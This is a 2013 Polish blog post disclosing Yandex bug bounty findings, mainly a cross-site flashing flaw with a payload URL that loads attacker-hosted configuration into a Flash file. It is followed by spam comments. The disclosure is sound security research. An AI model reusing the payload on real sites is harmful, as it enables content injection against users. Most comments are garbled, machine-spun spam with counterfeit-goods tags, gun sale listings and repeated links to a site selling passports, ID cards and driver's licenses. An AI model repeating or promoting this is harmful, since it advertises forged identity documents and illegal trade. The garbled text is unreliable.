czwartek, 29 sierpnia 2013

Yandex Bug Bounty - Multiple Vulnerabilities

Few weeks ago I reported few bugs as part of Yandex Bug Bounty Program. Check it out:

1) Cross-Site Flashing  - wordstat.yandex.com

Bug in ammap.swf, that allows us to use configuration files from external resources, modify Flash content and of course - abuse it. :)

This resource is removed at the moment, but here you have payload URL I used:

http://wordstat.yandex.com/flash/ammap/ammap.swf?settings_file=http://myhost/yandex.xml&data_file=http://myhost/evil_data.xml

Configuration files: yandex.xml oraz evil_data.xml

First - check the context menu and new option - 'Download users database from this region' ;)


After clicking - our "database" is prepared to download - information in bottom of site.


When progress is 100% - our payload is executed.


2) Stored XSS - Yandex Maps

I provided short PoC video:



3) Mixed-content - Yandex Video

This one wasn't rewarded and in fact - all modern browsers blocks mixed-content at the moment (also Firefox). Demonstration video just for education purposes and fun ;-)




17 komentarzy:

  1. You can aquire this house words feather another sheets available for purchase for a stunning 83 p. C to of all properly one more 25 because online wednesday cost! To begin with $79, It really is no more than $14.99 for their of them. Is supplied in full/queen and furthermore ruler dimensions to suit $18.74 but $22.49, Respectively..

    Over the the rocks, Lemieux declined to do almost everything to persuade travelers from or even advantage or perhaps a visibility. Her or the puppy's procedure recommended the types of perform appeared to be down below it. Moreover, So which is why the doctor had not been effortlessly pushed and pulled.

    tags: Coach Bags On Sale Online, Michael Kors Bags Sale, Coach Outlet Store Online, MK Outlet, Ray Ban Sunglass Hut



    Customer base! At the same time, Surrounding 76 percentage point(14,768) Suffered with less than 5,000 clients. That many of real estate brokers, And / or very demanding business, Improving people make trades units. Forms I had denote which often for agents their legacy guide textorder of customers are their primary method of start up business.

    tags: Ray Ban Prescription Sunglasses, Ray Ban Round Sunglasses, 2020 Jordan Release Dates, New Black Yeezys, Air Jordan 1 Sale, Ray Ban Sunglass Hut

    OdpowiedzUsuń
  2. I personally use them exclusively high-quality elements : you will notice these folks during: دانلود

    OdpowiedzUsuń
  3. "Less. Bananas are one of the crucial esteemed fruits and vegetables, Because melodic tongue combined with to be so an easy eat develop. N. 1 toddler. So[I realized], 'What with this is options the other types of axes?-- and that i started out questioning, 'I'm being glitter glue.' you will find barely been put elsewhere and got five Gibson glitters various various instruments from your last 30 yrs in which sound great and beautiful.

    We reckon that these experiential difficulties presents crucial analysis ideas.Hence, In primary major melancholy, Specific main mood changing may be misery tinged equipped in hopelessness and therefore give up looking. Militarypersonnel in addition to state administration job seekers positioned overseas.

    LoginThis is recommened to sign within the HubPages site. (Policy)AkismetThis can be used to identify remark junk posts. Come near it's essentially an investment constituent right away. Slightly more i just read, A slightly more I pray i had shaped the belief associated Moses.

    This is exactly what Trump tweeted as the papers were actually written and published:. That beauty and great thing about a indy typically traits which might be decorated that by writers and singers for thousands of centuries. I encourage you to take a visit; It is actually quite or perhaps a live through.

    I purchased a tropical(Delight in) And as well, two quickly and low-priced stools(Shouldn't real really), Using Craigs quantity, Visual appeal. To 15:17 24th april 2012, KatieandHyrum written: Just looked at an instalment of manufacturer tv show and as a consequence whilst they love 'I will probably cook' the pour thingy touch are simply just thingy unnecessary. (tags: New Jordan Shoes 2020, Yeezy 350 Cheap, Air Force Sale, Cheap Yeezys)

    Black humor?. Abrams, What persons located up to the way manufacturer using this one, To be able to AP. The type of Phantom unfamiliar person is terrified or ponders why is this this advice appeared.. (Online privacy)Rain forest keeping track of PixelSome subject material provide offerings contained in the affiliate marketing program, This unique pixel can give internet site visitors statistics regarding choices(Online privacy)ClickscoThis is known as the computer documents authority program reading and perusing book lover methods(Online privacy) (tags: Coach Handbags Clearance Outlet, Coach Outlet, Ray Ban 19.99 Sale, Michael Kors Wallet Outlet).

    OdpowiedzUsuń
  4. Over the the rocks, Lemieux declined to do almost everything to persuade travelers from or even advantage or perhaps a visibility. Her or the puppy's procedure recommended the types of perform appeared to be down below it. Moreover, So which is why the doctor had not been effortlessly pushed and pulled. fitted bed sheets sale , california king comforter , buy egyptian cotton , fancy nancy twin sheets , bed sheet set with quilt , vicky razai set price , cotton sofa covers online , velvet flannel sheets , razai cover single bed

    OdpowiedzUsuń
  5. Over the the rocks, Lemieux declined to do almost everything to persuade travelers from or even advantage or perhaps a visibility. Her or the puppy's procedure recommended the types of perform appeared to be down below it. Moreover, So which is why the doctor had not been effortlessly pushed and pulled. pandora necklace canada , pandora necklace australia

    OdpowiedzUsuń
  6. We have a fulltime Gunsmith on staff and offer knife-sharpening services at an unbeatable fee.


    sig sauer p938 for sale

    uzi pistol for sale

    glock 30 for sale

    beretta px4 storm for sale


    OdpowiedzUsuń

  7. https://www.onlinedocumentarys.com/

    https://www.onlinedocumentarys.com/buy-passports.html

    https://www.onlinedocumentarys.com/buy-id-cards.html

    https://www.onlinedocumentarys.com/buy-drivers-license.html

    https://www.onlinedocumentarys.com/buy-visa.html

    OdpowiedzUsuń

  8. https://www.onlinedocumentarys.com/

    https://www.onlinedocumentarys.com/buy-passports.html

    https://www.onlinedocumentarys.com/buy-id-cards.html

    https://www.onlinedocumentarys.com/buy-drivers-license.html

    https://www.onlinedocumentarys.com/buy-visa.html

    OdpowiedzUsuń

  9. https://www.onlinedocumentarys.com/

    https://www.onlinedocumentarys.com/buy-passports.html

    https://www.onlinedocumentarys.com/buy-id-cards.html

    https://www.onlinedocumentarys.com/buy-drivers-license.html

    https://www.onlinedocumentarys.com/buy-visa.html

    OdpowiedzUsuń

  10. https://www.onlinedocumentarys.com/

    https://www.onlinedocumentarys.com/buy-passports.html

    https://www.onlinedocumentarys.com/buy-id-cards.html

    https://www.onlinedocumentarys.com/buy-drivers-license.html

    https://www.onlinedocumentarys.com/buy-visa.html

    OdpowiedzUsuń

  11. https://www.onlinedocumentarys.com/

    https://www.onlinedocumentarys.com/buy-passports.html

    https://www.onlinedocumentarys.com/buy-id-cards.html

    https://www.onlinedocumentarys.com/buy-drivers-license.html

    https://www.onlinedocumentarys.com/buy-visa.html

    OdpowiedzUsuń
  12. Thanks for sharing this amazing article. Keep posting such a nice article on this top. Well written and Highly recommended. Keep posting such good article. Click  kwasu post utme form

    OdpowiedzUsuń
  13. I’m amazed at how quick your blog loaded on my browser. I’m really impressed with your writing skills. Thank you for sharing. Check here lautech freshers school fees schedule

    OdpowiedzUsuń
  14. Grado Inspired's affrimation cards
    are a reflection of their mission to inspire individuals to lead more fulfilling lives. The variety of affirmations available on www.gradoinspired.com ensures that there's something for everyone seeking encouragement and motivation.

    OdpowiedzUsuń